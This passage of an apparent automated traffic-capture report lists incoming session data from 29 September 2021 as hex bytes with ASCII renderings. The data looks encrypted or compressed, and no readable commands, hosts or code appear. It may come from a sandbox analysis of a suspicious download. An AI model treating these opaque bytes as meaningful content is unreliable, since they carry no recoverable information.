8a 9a c0 3b 85 e3 6c 94 33 32 ab 0a 28 16 5c f5 87 f5 2c 50 7a 57 e4 09 60 7c d5 09 be 08 b8 37 c1 3e 3d 9d e6 44 6b 86 ee 2b 25 60 e8 92 17 b0 d5 98 4f 4b Data Ascii: ({WYXZ<Laa&+''d.t,2T{g2>W;lwlWW#QeF rDQ\!Yz'~.o))YxvOQ@ZO6J{3T=].}^RF'a_$6j;l32(\,PzW`\|7>=Dk+%`OK
2021-09-29 19:26:41 UTC	29	IN	Data Raw: 8b 37 a3 d3 41 b0 24 4c 02 1d b4 74 b4 6c 8e e1 54 a0 da 39 d5 45 ea 3c 4c b7 5a 64 e2 0a 04 8c 15 71 47 8d fa 43 02 4a e3 e8 c1 09 58 55 b0 3b b5 17 89 ed 9a 38 9d 31 66 e5 ed 76 35 18 e5 d3 0e c8 3b d7 9b ca a8 25 6d 3b 49 da 8a 31 02 de 15 77 d1 6f 3c 9f b5 76 0b bf 59 e0 de 20 1e 21 76 73 b9 be 6c fb 01 4c 03 89 cc 69 2c 92 28 93 e8 84 70 83 1f e1 30 dc fb ac 3d 1f a2 9a ef f9 d8 26 82 98 cc 1d 35 82 7c 2f 29 73 ec da 41 85 c0 f4 19 8c 39 ea 30 f8 b4 a4 20 2c c6 5c cd 22 53 88 f1 c4 2e cc b7 ed fa 2a 61 00 f1 d4 91 f8 55 0d 3c ca 04 ad 25 e8 1f 50 7a 34 6e 24 b0 af 8b c9 8f 91 95 ef ee 6d b9 01 14 09 8c b7 89 52 86 b7 50 04 13 05 ae 63 b2 55 17 e1 a4 cb 56 05 59 3b 4c 3e 59 23 24 7c 79 fa 7d 88 2f 98 59 65 d1 14 35 18 94 5d d2 17 be 53 95 cd 46 aa 80 Data Ascii: 7A$LtlT9E<LZdqGCJXU;81fv5;%m;I1wo<vY !vslLi,(p0=&5\|/)sA90 ,\"S.*aU<%Pz4n$mRPcUVY;L>Y#$\|y}/Ye5]SF
2021-09-29 19:26:41 UTC	31	IN	Data Raw: 87 55 06 c7 dd e9 9b 6f c7 3e 11 16 be 80 34 6a 98 9e d8 2c 9a e0 65 98 f6 24 b1 1e 39 14 52 cf 95 e0 3f 5d 65 41 fa 3b ec 6f dd 1e 9f 1e 98 5e d4 3f 37 9d 34 45 46 b4 0f 38 2d 7b e3 08 aa 89 e5 42 58 9b fb 11 09 8f 57 fd aa 07 38 6a a9 e3 67 45 74 1d de 27 4e 4d db 8a c8 89 9a 1f 44 85 9f 9e bf c2 ff fd 60 06 29 4c 87 49 0b 30 2d 26 3b 8e a0 ee 4a 98 3d 4e 47 63 92 c0 c4 31 eb 27 51 c8 ac 9a 36 0b 8b 58 b9 24 5c e9 c4 df 3f 33 0f 52 ab 78 b4 c3 d1 4e ff 85 42 c2 8d b5 e0 38 80 ff 56 89 54 0d 1a 52 b1 0d a0 1b 57 11 d7 76 b1 69 7c ac e0 c7 ca 50 bf e0 62 fe 39 d7 db 71 aa 68 26 a9 f0 a5 75 b4 17 47 38 f5 ba 5e 68 43 06 76 51 0a 9f 29 ce d0 71 d2 74 9a 8e 07 40 5d a6 7b 03 07 63 84 ff a6 96 b5 b9 eb d9 1c b0 3c 32 e7 b1 0c bc 9e 37 b2 41 77 26 ea 03 a6 aa Data Ascii: Uo>4j,e$9R?]eA;o^?74EF8-{BXW8jgEt'NMD`)LI0-&;J=NGc1'Q6X$\?3RxNB8VTRWvi\|Pb9qh&uG8^hCvQ)qt@]{c<27Aw&
2021-09-29 19:26:41 UTC	32	IN	Data Raw: 34 42 05 b0 93 d4 98 8e 9b 96 c5 1d 3c b8 0b 0f d1 82 b7 83 53 86 b7 7a 14 2e 04 a4 b7 a3 77 3f 44 b4 cb 5c 76 2d 3e 4c 2e 49 3c 34 75 76 fa 6d 9c 00 88 a7 b5 fc 1a 24 51 82 c7 eb 04 bb 28 7e c6 59 b8 bb 57 53 20 eb 46 0c 14 6a 7d 39 dc be 52 45 7f ee 7c 29 47 34 97 94 4a 41 a7 1d 88 04 a0 cd e3 14 73 a7 fd 3c 00 ad d6 2c 76 be 48 a3 6b b9 85 58 5b e8 9d 00 c4 f9 9b 5b 29 03 6a 49 ca b1 20 db d7 ad dd ba 10 c1 4b b4 e5 2f 25 d6 62 28 7c 5c 6d 0b 27 e9 81 03 5c 75 7c d0 71 6f 73 cf da 10 e5 f7 b9 61 48 d1 70 ee 58 d4 9b 1e 17 5c 22 62 66 7d 43 88 6d 23 9a e1 ca ae d8 45 34 0a fb fd a1 4d 3c f9 66 c8 21 26 02 e2 52 75 4d e3 b0 05 37 27 71 7c 8d cd 2b 7e 0d 65 29 3f 50 84 2c c9 52 e7 d0 5c cf c1 1f 56 be d7 d8 4a 5a 63 c9 35 1e 38 6a 83 03 8f d1 98 1e 78 27 Data Ascii: 4B<Sz.w?D\v->L.I<4uvm$Q(~YWS Fj}9RE\|)G4JAs<,vHkX[[)jI K/%b(\|\m'\u\|qosaHpX\"bf}Cm#E4M<f!&RuM7'q\|+~e)?P,R\VJZc58jx'
2021-09-29 19:26:41 UTC	33	IN	Data Raw: ff 34 df d9 99 35 69 27 40 6f f3 6b 8a 4e 46 67 01 8d 37 61 47 06 66 7d 22 96 d7 c5 22 a0 da 6d 99 84 81 6b 1c 8f 50 0a 7d 62 88 d5 d7 23 8d b9 ea fb 4d b0 3c 35 e8 bb 1f b9 9e 26 b6 0e e0 27 ca 5f d5 f2 1a 69 b8 20 aa 44 09 88 cf 19 4a ce 88 3b 40 4d 41 58 49 b7 c1 9e bc 78 0f 90 38 d1 a5 92 bc 9f 05 44 bb c3 5a 7f f2 7f 8b 5a 10 1b fa c3 79 64 40 28 dd e4 02 09 3f af 22 da df 57 cb 27 7c c7 1d 98 77 ab f1 3d f7 75 11 db d4 d0 69 fd 27 31 44 42 5b ed 03 02 18 36 f1 b9 5e 0d 54 0e 6e 35 f4 de 0d a2 54 8d 3c ba fa 8c c1 88 24 98 cb 67 d8 ea 7a d8 1d c9 d2 0d c0 5b f3 2d f1 7c 83 43 03 9a 25 79 d2 3b da 15 7d e5 72 c2 43 98 7d 09 fe 71 dc ce 08 38 29 6c 66 95 c7 7d ff 1d a1 10 b7 dd 56 66 97 28 88 ff 8a 9c 91 1b ce 18 d9 c5 ff 98 e1 5d 98 ed dd cb 16 84 92 Data Ascii: 45i'@okNFg7aGf}""mkP}b#M<5&'_i DJ;@MAXIx8DZZyd@(?"W'\|w=ui'1DB[6^Tn5T<$gz[-\|C%y;}rC}q8)lf}Vf(]
2021-09-29 19:26:41 UTC	34	IN	Data Raw: ea 80 2e 4a 5c 0c c4 c0 de 3b 84 38 52 c8 a6 91 6c 54 82 4f a2 32 51 ac 06 de 3f 33 0b 52 ab 78 74 3c 2e b1 38 7a bd 3d 5c 4a 1f c7 ad 01 a9 76 47 3f 0b 56 b3 05 e5 19 4d 11 d7 77 8b 6b 54 74 1f 38 3f 8c 9c fa 07 fe 39 d0 e5 8f ba 50 32 57 ce fa 7c a2 a0 46 67 1a bd 26 59 69 06 7f 6e c3 9e 05 c6 16 b0 f2 4f 82 7a 86 44 16 d4 1a 08 7d 6e 86 ca af be 85 af 15 d2 1a b2 2b 3f f7 b9 15 43 9f 1b b0 3f 1c 0d 32 51 a4 d1 53 69 b2 2e de 45 0c 88 d4 37 51 30 89 04 5c 49 55 47 6e b4 c1 d1 a4 f5 19 86 34 fb 84 95 a2 a0 d3 46 97 c7 e0 74 e5 5f bd a6 11 31 50 b7 0c 71 54 35 fe 5a 0e 09 3d 9f c0 c8 f7 55 cd 2f 64 31 05 4a 7f 85 7d a1 e3 6e 70 c0 bc 9d 69 ec 27 06 ba 50 47 e2 0a 79 88 0f 8f 0c a1 f2 5b 0b 66 1e 80 da 12 44 ab a0 13 aa 9a e9 c0 99 2a 85 2c 6a f4 e1 76 35 Data Ascii: .J\;8RlTO2Q?3Rxt<.8z=\JvG?VMwkTt8?9P2W\|Fg&YinOzD}n+?C?2QSi.E7Q0\IUGn4Ft_1PqT5Z=U/d1J}npi'PGy[fD*,jv5
2021-09-29 19:26:41 UTC	35	IN	Data Raw: 7b e7 94 6f 21 f2 46 dd f4 dd 60 48 f1 26 31 87 d9 a8 a6 51 cc c9 48 f6 fc 0e 20 dc 48 a8 76 81 1f 16 27 e9 81 06 62 97 66 8f 75 0e 21 ce da 1a c1 f5 bf 0e 7a bf 70 ee 40 fa 90 3e 70 5e 20 99 26 a0 12 8d 6e 0b f5 f6 5b b3 82 40 14 0f f9 80 6b 47 e1 bd 4d aa 23 2c 6e 39 44 5b 42 c0 9a 6d 36 a7 71 d5 ac cc 2b 7c 5b 3e 21 28 c5 b8 48 c0 5a 8c d1 5c 45 c9 b1 20 be d7 d2 2b 35 4e e0 3c 1c 00 68 81 6a fa e3 b8 1a 54 a2 02 19 1d be 07 a8 bf 10 f8 59 b8 ff 2f 61 b4 0d 08 b1 6b a8 9c 2a 97 8c 92 7f 2e c4 74 41 e5 af af 9c 15 0f 96 49 1c e0 57 96 c6 3e d3 1b 20 8c fa 19 d1 86 8f ed c1 9e 5c 06 b5 df e9 97 45 98 75 11 1c b7 ba 59 7f 8b 90 f3 c1 8c f2 64 91 ef 2d a3 13 30 0c aa dc bf f1 07 4e 68 4a e0 13 be 78 23 19 95 1b a8 13 d5 37 22 9a 14 54 4f 96 3a 3b 05 1e ee Data Ascii: {o!F`H&1QH Hv'bfu!zp@>p^ &n[@kGM#,n9D[Bm6q+\|[>!(HZ\E +5N<hjTY/ak*.tAIW> \EuYd-0NhJx#7"TO:;
2021-09-29 19:26:41 UTC	36	IN	Data Raw: 47 0f f6 43 b6 09 35 89 71 c9 db 46 cc 2f 5c 9f 1c b4 7e a9 77 9d 1f 44 88 c0 df d8 69 e4 3f d2 bb 6f 7f ce a5 15 88 09 84 5b ad f2 42 05 94 34 c9 d6 32 20 54 a1 35 22 8b 88 c1 9d 39 82 35 6e ee 17 6c e7 1e e1 6d 09 df 57 16 20 dd 76 b1 b8 3a 65 c0 f8 4c 11 da 11 4e ca 75 c2 98 e7 1f 09 b6 75 f4 f8 20 14 20 ec 03 bd be 79 e5 1b b2 0a be 31 7f 13 91 00 32 ec 99 88 9e 3f e3 13 c7 3d d6 ee ee 23 f1 c5 f9 cf 01 a6 e5 ba 19 3f 9d 4c 23 29 6a e7 37 4f 91 ad 8e 7a 8c 39 ff 17 c8 a2 5a 2b 2c d1 53 cd 3a cb a7 e2 c5 02 ce bf f6 e9 2d 7e 18 00 c2 43 fb 52 0b 1c 8c f4 52 cb e0 2a 50 b4 31 42 85 b1 87 bb 98 8f 9b 8d ef 46 6e b9 0d 0e 7c b8 9e b4 59 8c bb 7a 19 2d 04 a8 17 c2 5d 3f 41 8c 4c 5e 76 2b 12 f2 38 53 36 57 55 77 fa 66 81 18 2f a5 64 fb 64 44 12 82 c3 d2 a5 Data Ascii: GC5qF/\~wDi?o[B42 T5"95nlmW v:eLNuu y12?=#?L#)j7Oz9Z+,S:-~CRR*P1BFn\|Yz-]?AL^v+8S6WUwf/ddD
2021-09-29 19:26:41 UTC	38	IN	Data Raw: d2 ab cc 8f 77 c4 ce 87 5f 24 f0 95 ea 9d 41 cb 1a 11 1c b9 fd 0d 7f 8b 90 cd 00 c0 f1 64 88 cd 9b a1 1b 29 2f 77 dd 93 fe 04 17 74 46 ea 3b 92 6f dd 12 d6 23 b1 1f df 38 15 d9 e9 55 65 b4 82 3a 2d 77 c7 3f a0 a1 d7 6a 17 92 25 17 27 81 56 ed a0 68 02 6b a9 e9 5e 53 24 0e c4 21 66 f6 c2 ba cd a1 33 1f 44 8f 8c cf bc d3 d1 ed 44 06 23 51 e4 6b 19 34 25 52 51 dd a3 e4 46 a9 94 48 41 0a ec e3 c4 3b 8e 11 03 cb a6 97 c0 71 82 4f eb 5d 6b ad c1 d5 38 1b 5b 51 ab 7e 5c 86 2c b1 3e 52 9e 3d 5c 40 37 92 63 00 af 5e ae 3e 0b 5c d3 3f e4 19 5d 16 ff 20 b2 69 7a 4b a5 3a 35 88 b7 b6 78 fe 33 fe 98 8c a9 66 18 73 f3 fa 76 cd d3 47 67 01 ac 02 2a 40 06 71 51 87 9d 29 c2 26 9f f2 47 90 ac de 6b 1e a1 53 2d 7d 64 87 bc 99 bf 8d b3 ec fb 6c b3 3c 35 df 0b 0e bd 98 1f 91 Data Ascii: w_$Ad)/wtF;o#8Ue:-w?j%'Vhk^S$!f3DD#Qk4%RQFHA;qO]k8[Q~\,>R=\@7c^>\?] izK:5x3fsvGg*@qQ)&GkS-}dl<5
2021-09-29 19:26:41 UTC	39	IN	Data Raw: f5 ac 18 e4 17 58 81 35 53 0a ad 97 45 c9 a3 99 b7 c2 4a d8 47 f4 fa 09 e1 4c b4 53 8c 97 4c 2e 35 34 aa 69 4b 5c 3f 45 f2 cb 5c 67 2f 12 f5 38 53 3a 33 1c cc fa 6c 8d 3a 8a c8 b7 fd 1a 2e 01 8c d1 e9 0b 86 ed 9e c6 59 ad 9d 30 5e ba e0 20 76 24 6a 77 15 d1 44 6a e0 7e 63 57 20 34 b8 9a 96 44 3d f2 c2 9a 2b 90 d4 e8 34 7c b4 f5 94 32 70 4b 27 ab 37 41 b5 fa b3 ad 57 14 6a 9c 00 42 de 43 ef 52 02 6a 41 a3 b3 38 e8 84 bb a2 25 83 c1 4f 93 fd 08 5e 45 62 a8 7c 92 1b 1c 36 ef ec 8e 26 97 7a c7 af 13 2e dd d3 22 8a f4 b1 0e 0a d6 61 ed 68 98 93 3e 14 33 a8 e3 6c a6 01 8d 7c 25 83 fe 73 da f5 4e 12 60 71 fc 21 41 f2 be 76 ce 30 27 3d 17 47 5b 40 ac 38 04 37 a1 68 a4 b3 c9 03 1b 25 74 27 47 31 92 02 c8 63 e0 f8 3a 4c cb c4 25 4f d7 d8 4e 3e 76 67 36 36 4a 7c 0e Data Ascii: X5SEJGLSL.54iK\?E\g/8S:3l:.Y0^ v$jwDj~cW 4D=+4\|2pK'7AWjBCRjA8%O^Eb\|6&z."ah>3l\|%sN`q!Av0'=G[@87h%t'G1c:L%ON>vg66J\|
2021-09-29 19:26:41 UTC	40	IN	Data Raw: 16 29 31 00 28 aa aa fe 39 d6 d0 81 ba 65 30 46 f6 e4 82 a3 c5 40 4c e3 b4 23 61 46 06 66 7c 22 91 d7 c5 22 b5 ca b3 9a 84 87 77 11 b4 7e 09 6c 61 92 df 5d bf a1 b1 e2 c4 e0 bd 23 3e e4 b4 0c ac 9b 28 b8 ea 1f 0a f7 5e 8e cb 18 69 b4 45 2c 57 0d 82 f2 ff 4e 3b 9a 12 6c 5a 50 6f 61 4a c0 b4 ae 86 b4 90 38 da 84 8a ba a4 28 47 aa c0 e4 86 e4 7b ae 5a 38 97 59 c4 67 63 50 22 e6 46 02 18 30 9e c0 c8 f7 54 c2 30 61 39 0d b1 67 57 7e a6 f5 43 a6 ea ad d7 69 ea 0b 08 ba 43 7d 89 c6 15 88 05 95 55 a4 f2 5b 18 70 cb e4 f6 0e 5a 57 89 54 a1 e9 8e e9 bd 20 8e 3f 09 38 e9 6d c1 02 da c6 09 ce 54 15 d2 dc 52 a1 35 87 49 db 8c 27 08 c9 10 66 c4 73 dd 97 67 7c 25 bf 60 d8 d6 ba 18 35 66 73 b8 be 6c fa 08 b9 fc a4 e3 6b 39 9e 00 e9 ef 99 88 aa 17 e3 1b d3 ac 1b c2 e0 57 Data Ascii: )1(9e0F@L#aFf\|""w~la]#>(^iE,WN;lZPoaJ8(G{Z8YgcP"F0T0a9gW~CiC}U[pZWT ?8mTR5I'fsg\|%`5fslk9W
2021-09-29 19:26:41 UTC	41	IN	Data Raw: 7d a8 05 53 7e 09 81 fc 63 cf f5 4e 14 07 2b b7 21 47 e0 91 73 c8 21 24 3d 07 45 5b 4c eb a3 05 37 ad 68 af b0 c1 3a 70 49 61 21 28 cb ba 95 c3 72 ef c2 5e 67 52 c3 4a b5 07 92 44 5e 4e c8 22 36 4a 60 ab 05 97 e2 b2 7a aa 0c 01 18 1b c9 40 d6 cd 15 d2 1d a9 9f 52 6a a5 0a 65 50 21 a8 96 02 b2 1a 98 6e 25 8d c5 53 d5 a1 bc c6 3f 00 84 08 e2 f6 0c 80 ca 07 87 0f 20 8c f0 02 dc 9d 7c fa ff 88 77 4e d8 de ef 11 78 e3 3e 10 0f b5 83 31 68 07 a5 ca 28 8d e4 4c 12 e4 21 a9 37 2a 3f 8d df 93 f4 3a 49 67 38 9e 12 b6 65 ce 09 a8 16 90 1f d7 3f 3d 85 fa 47 72 b4 5c 38 2d 77 63 23 a0 a1 dc 51 5e 80 23 07 83 9a 56 ed ab 11 10 f6 a8 e3 53 57 71 35 67 25 4e 4c d1 ab d8 85 01 0f 52 bb 33 9c bf d3 c0 d4 70 15 08 48 98 69 9a 36 2f 55 68 83 b1 e3 68 f5 2f 4a 4b 24 d5 c0 c4 Data Ascii: }S~cN+!Gs!$=E[L7h:pIa!(r^gRJD^N"6J`z@RjeP!n%S? \|wNx>1h(L!7*?:Ig8e?=Gr\8-wc#Q^#VSWq5g%NLR3pHi6/Uhh/JK$
2021-09-29 19:26:41 UTC	43	IN	Data Raw: e5 ed 45 91 19 c9 c9 4c d2 51 0d 2c 8d 7f a8 46 1d 49 db 86 d0 11 da 15 f4 d5 76 c2 92 99 7d 09 4b 8f 23 20 01 eb d5 93 fa 42 41 82 7d 17 b2 02 27 cf 7e 3f 14 28 82 ec 1b 8e 82 33 89 1a d9 c3 ca d1 ea 5d 83 cf e6 df e8 8f b4 aa 1f 1d 26 44 2f 23 ee c5 c9 4e bc b0 f5 06 99 2a f1 3f f6 a8 45 2f fe ca 61 d0 3c eb 14 1d c4 24 40 14 fa e9 24 72 14 e1 cc 7c f3 79 1f 2e c6 12 53 35 cb 09 73 d3 34 42 0f ad 9d a8 c2 8f 8a 96 dd 8c 6c 95 1d 0c 07 a6 8e b4 53 8c d2 f3 2d 2e 0e 86 78 a3 5d 35 56 a0 d0 4f 7c 2d 2b 46 27 4e c2 39 43 7f c2 4b 86 30 8d b8 7a ee 10 24 03 88 d8 e4 f8 bf 7f 98 d2 4a b9 8c 3e 40 2a ed 38 54 0a 78 89 1e d0 50 54 6d db 62 57 23 cb 0a 9b 96 43 3d f1 03 9b 1d b2 e3 f9 3e 69 aa 03 bd 26 79 73 c6 76 be 40 aa f4 b1 a1 53 6a e7 82 1b ba f2 6a da 39 Data Ascii: ELQ,FIv}K# BA}'~?(3]&D/#N?E/a<$@$r\|y.S5s4BlS-.x]5VO\|-+F'N9CK0z$J>@8TxPTmbW#C=>i&ysv@Sjj9
2021-09-29 19:26:41 UTC	44	IN	Data Raw: 34 05 e1 ec 1c a6 ce f7 40 58 97 23 00 03 ca 41 ec aa 0d 10 44 ab e3 5f 68 72 d3 cb 02 66 7b c0 ba c1 9a 1d 37 7c 85 a4 94 61 d3 c6 cc 77 d0 30 52 9a 58 09 24 11 65 86 70 5f f5 4e 96 f8 59 4f 1d ca d1 cb b5 33 06 f8 36 59 6e ee 7f 82 4f e1 33 4d ac c1 df 3f 77 0f 59 e4 78 66 26 2e b1 39 7a bd 9b 5c f8 47 c6 6f 1a a9 76 8b 25 3b 5f bc a5 e4 19 57 73 d7 76 a0 1a c0 63 1f 32 3e fd 25 95 78 f4 33 c9 d3 a7 12 60 30 5d db 6b 7f a2 ef 6e 43 0b ab 20 5a 6c 06 77 73 11 83 2e db 12 94 49 47 9a 8e af f9 1d a7 7d 21 59 64 8d d9 8b 14 8c b9 e1 bc 9d b1 3c 39 e8 ab 24 06 9e 37 b8 3c 8f 25 e6 50 8e 8e 1b 69 b8 02 9e 57 0d 82 f2 01 56 2f 93 3f d7 4b 55 7a 46 25 c2 98 a2 dd 2c 90 38 da 86 3f ab b7 27 28 10 c4 f8 72 e2 38 09 59 10 17 4b c8 55 71 55 3f f5 51 0e 21 98 88 3e Data Ascii: 4@X#AD_hrf{7\|aw0RX$ep_NYO36YnO3M?wYxf&.9z\Gov%;_Wsvc2>%x3`0]knC Zlws.IG}!Yd<9$7<%PiWV/?KUzF%,8?'(r8YKUqU?Q!>
2021-09-29 19:26:41 UTC	45	IN	Data Raw: 93 c3 ed f8 bf 7f 9c de 4a b8 93 30 57 3a 13 28 72 10 41 d3 04 ef 45 52 54 7b 7a a9 28 6b 3e 8d 94 cc 99 e3 c6 85 02 a2 f0 ec 34 67 a3 eb 42 0b 5c 48 3a 65 ba 40 a4 fe bc 55 52 57 ef b6 05 7c 9f b9 28 d7 05 40 41 dd 3b 08 ed 8e 8f a4 5b 10 a5 4f 99 ff 7c 9a d6 62 a2 7c 99 93 1f 27 e9 82 15 37 86 6c c6 5d 9c 22 ce dc b8 d2 e5 a6 26 86 d3 70 e2 e2 eb 80 2d 17 46 af c9 6c a0 13 9a 7c 32 83 e1 7b 00 f6 4e 14 93 ea ec 36 5f 7d a8 76 d0 01 d4 15 73 44 c7 57 d2 ab 12 ab b6 6a b2 a6 d8 20 6a 2a 60 32 2e bf ae 02 c2 78 cd 4e 5f 4f cd ad e5 be d7 d2 57 59 5e e7 0f 97 4b 6a 83 14 91 8d 08 11 7c 2e 11 0a 0d d0 5e 90 3a 15 d2 17 ab 83 52 72 2e 14 02 db 27 b9 94 06 20 08 92 79 00 c6 5e 52 df c4 00 d5 14 05 85 0c 0d e9 29 30 cb 06 e2 09 35 9a e9 05 f6 b6 70 ec ed 96 4a Data Ascii: J0W:(rAERT{z(k>4gB\H:e@URW\|(@A;[O\|b\|'7l]"&p-Fl\|2{N6_}vsDWj j*`2.xN_OWY^Kj\|.^:Rr.' y^R)05pJ
2021-09-29 19:26:41 UTC	47	IN	Data Raw: bb b6 6b b1 14 18 0e fe 54 a6 ac 74 af b2 2a bb 89 03 ad f6 2a 51 30 83 1b 44 73 55 70 64 6a c1 9e da c5 09 90 3c f8 b9 97 aa b1 05 1b b8 c5 fe 50 fc 55 a5 5e 7f db 58 c4 67 ae 5a 1a dd 74 02 09 3f 84 16 f1 db 57 d0 fd 64 3f 36 b5 62 a9 7f 8a e1 43 a4 de e5 d4 67 f6 23 2c bb 43 77 d6 0a 09 c4 0f 81 5c a1 f2 4b 06 5a 36 e5 86 1a 5c 55 fd 3f a2 f8 fb 7b 99 20 84 3f 60 8a d8 6c cb 1d e1 d4 0b df 57 25 7c de 7e ae 6e 23 4b db 80 42 d7 da 15 6c 0b 78 e7 b6 ae 7d 09 bc 7d f4 e7 20 14 20 b2 60 bb c0 4c fe 17 b6 2a b2 cd 7e 39 be 78 81 ec 9f a6 9b 31 e3 1d b6 05 d7 c2 ea 83 9c e0 d1 fc 16 8e 92 b6 31 0d 82 45 25 f7 62 fc e3 4f a1 a3 f0 19 8c 3f fb 23 c5 a2 54 3b 00 cb 4c c1 3a f3 b1 00 88 2e c2 b2 fa e9 24 7a 21 fd c3 33 f9 79 0e 78 d9 0b bc 47 5d 00 4b 8e 3f 44 Data Ascii: kTt*Q0DsUpdj<PU^XgZt?Wd?6bCg#,Cw\KZ6\U?{ ?`lW%\|~n#KBlx}} `L~9x11E%bO?#T;L:.$z!3yxG]K?D
2021-09-29 19:26:41 UTC	48	IN	Data Raw: 37 4a 6c 94 df 85 f5 ab 00 44 a8 02 19 1b d2 42 b9 af 03 bd 9e bb 90 45 73 a5 16 04 db 30 b2 f3 a7 be 0b 94 6c 3b f3 50 43 c5 b2 c0 5d 15 0f 90 16 0e f1 57 a8 45 07 e8 10 0d c4 eb 02 e6 00 70 ec e7 aa 60 3f ca f6 66 9c 47 e9 13 27 6f 91 90 37 78 98 8e db 3c 9d e3 0b a6 e7 21 a5 0a 3b 16 47 b2 b7 f6 2c 5c 66 52 fd 01 d9 49 df 18 bf 08 a4 37 78 3c 3d 91 85 7f 61 9c 3e 3e 3c 65 80 0b a1 a1 d7 9c 57 b4 0d 26 0f a5 5c fe bf 2f 00 6a a9 e9 87 7b 65 1d d3 f1 5d 5c d1 aa da 9e 2e 74 bb 7a 5b 98 95 da fd c5 61 32 23 5b 8b 51 69 34 25 2e 79 9b ba e4 40 80 2e 4a f3 0c b3 e9 c5 34 9e 39 50 c9 a6 91 35 54 88 a8 e0 26 4b ac c1 de 3f 33 11 50 dc ed 76 33 34 b1 38 7b a6 0d 59 4a 3d c4 60 00 ce 76 8a 2f 78 ec bc 05 ef 0a 53 0e cd 5e 0a 69 7c 69 37 89 36 8e 99 bd 5c fe 39 Data Ascii: 7JlDBEs0l;PC]WEp`?fG'o7x<!;G,\fRI7x<=a>><eW&\/j{e]\.tz[a2#[Qi4%.y@.J49P5T&K?3Pv348{YJ=`v/xS^i\|i76\9
2021-09-29 19:26:41 UTC	49	IN	Data Raw: 47 ee c1 4c 9a d3 63 e3 07 8e 98 b1 c9 27 82 45 34 01 76 fa c9 44 95 97 f1 19 86 4d e9 3f e7 b9 a4 2a 00 cb 39 d3 3a c3 aa 73 d6 2f cc a2 e9 ed 34 65 05 d6 7c 6c f9 7f 19 a9 de 0b ad 35 f4 08 5a 8c 23 5d 1f 3e b8 bb c8 8e 39 8d cf 66 79 ad 23 a6 0f 8e 95 9c cf 86 bd 58 26 f0 15 8b 41 94 5d 3f 4f b7 ce 48 7c 05 02 4c 38 59 e2 38 69 5c fb 7c 87 30 8d a7 07 fd c8 11 13 93 dd fa 06 bf 40 af cf 59 79 93 21 53 49 ed 29 4f 03 79 72 34 a1 41 43 40 66 9d 56 05 65 32 8f be 82 2d f4 1a 9f 83 bf e3 e8 35 7a af eb b8 86 4f 4b 2d 77 1c 48 a1 ee 8a 6c 52 7b e7 87 13 41 f3 57 d2 3f fd 6b 6d de 38 2b ed 8e b9 a3 43 ee c0 63 92 ec 0c 53 1e 63 a8 7c 8a 07 19 22 e9 92 03 31 69 7d fc 76 17 32 cb da 0b c6 ef 4f 0f 37 d2 5b e6 6b 5b 97 2a 3a d9 20 e2 6a b7 9f 8e 6d 23 93 fb 53 Data Ascii: GLc'E4vDM?9:s/4e\|l5Z#]>9fy#X&A]?OH\|L8Y8i\\|0@Yy!SI)Oyr4AC@fVe2-5zOK-wHlR{AW?km8+CcSc\|"1i}v2O7[k[: jm#S
2021-09-29 19:26:41 UTC	50	IN	Data Raw: 8b c1 9f 37 03 32 66 f4 e8 7e de 08 dc d5 1e 53 6e 0d 2c dc dc b9 53 2f 5d cf ae 8e 11 da 1f 72 fd b2 c1 9e 9f 6a 84 b1 71 dc de 33 02 3b 7a 76 aa 32 42 ff 17 b3 a0 b4 d9 6a 2b 82 00 21 ec 99 84 96 1b 26 18 d9 c5 c1 4f e7 5d 92 c4 ed df 02 a6 3b bb 19 3f aa 54 2f 29 68 e9 c6 5f b0 b7 d8 dd 8f 39 fd 28 6a a5 5a 21 01 d8 5b d0 2c d5 a7 90 fb 2e cc a9 58 f8 33 75 05 ea eb cc f9 79 04 30 f1 cf ae 34 e1 17 c6 83 35 42 0e a1 92 aa dd 99 83 10 f8 72 6d b8 a9 14 1a 9a 8b a0 7b 25 bd 52 26 3a 2c 6b 6a a3 5b 29 c8 a3 cb 5c 77 39 2e 58 10 f0 3c 38 65 5e eb 6c 87 3a 9e a9 70 2d 5c 24 12 80 ef ee 06 be 59 b7 00 5a bc 95 38 de 27 ed 29 5f 06 7c 66 09 ea 50 5c 6d 6e 63 57 23 e5 24 8d 81 53 29 56 0d 9e 16 a9 ec c0 25 76 a7 f7 1e 1b 66 58 38 67 ab 54 a1 e3 2f 84 53 7b ec Data Ascii: 72f~Sn,S/]rjq3;zv2Bj+!&O];?T/)h_9(jZ![,.X3uy045Brm{%R&:,kj[)\w9.X<8e^l:p-\$YZ8')_\|fP\mncW#$S)V%vfX8gT/S{
2021-09-29 19:26:41 UTC	51	IN	Data Raw: de 88 e6 46 66 9c 29 3d 34 8f ee 30 a5 b7 d7 58 4b 94 25 00 0a b3 a8 ec 86 04 2f 79 ac e3 48 7e 6b 01 3a 26 62 4e eb bf f3 8a ef e0 bb 8d 8e 9e ac e3 d3 c5 87 07 23 5b e6 51 18 25 39 46 73 b7 73 e5 40 81 2e 5b 4b 13 d5 3e c5 17 92 3f 41 cc 8e 45 eb 55 84 67 c5 32 51 a6 ae 13 3f 33 05 4d b9 6b 7e 3c 3f bb 27 6e 43 3c 70 40 0e c1 77 d6 ba 70 95 2b 18 5c bc 14 ef 05 a9 10 fb 7f c2 d5 7c 63 15 32 28 9d 95 95 69 f4 27 28 ce a3 ae 76 23 51 ec f3 6f a8 e9 57 6d 14 b8 d4 73 6f 09 66 71 2c 96 a7 73 31 69 f2 47 9a 9b 93 7b 14 a7 6a 03 62 6d 73 d2 8f b8 a6 99 f4 d9 25 ba 3c 22 fd ae 1e 43 9f 1b b8 05 16 31 30 45 ae b5 08 7a b8 2a a0 5d 12 9d 20 1c 7d 3f 98 11 7d 4c db c7 51 44 c1 98 a4 ea 1e 83 32 d0 bf 9f bd 49 2c 6b b8 dd eb 72 e5 46 af 40 ee 1c 74 cf 75 fd 41 3f Data Ascii: Ff)=40XK%/yH~k:&bN#[Q%9Fss@.[K>?AEUg2Q?3Mk~<?'nC<p@wp+\\|c2(i'(v#QoWmsofq,s1iG{jbms%<"C10Ez*] }?}LQD2I,krF@tuA?
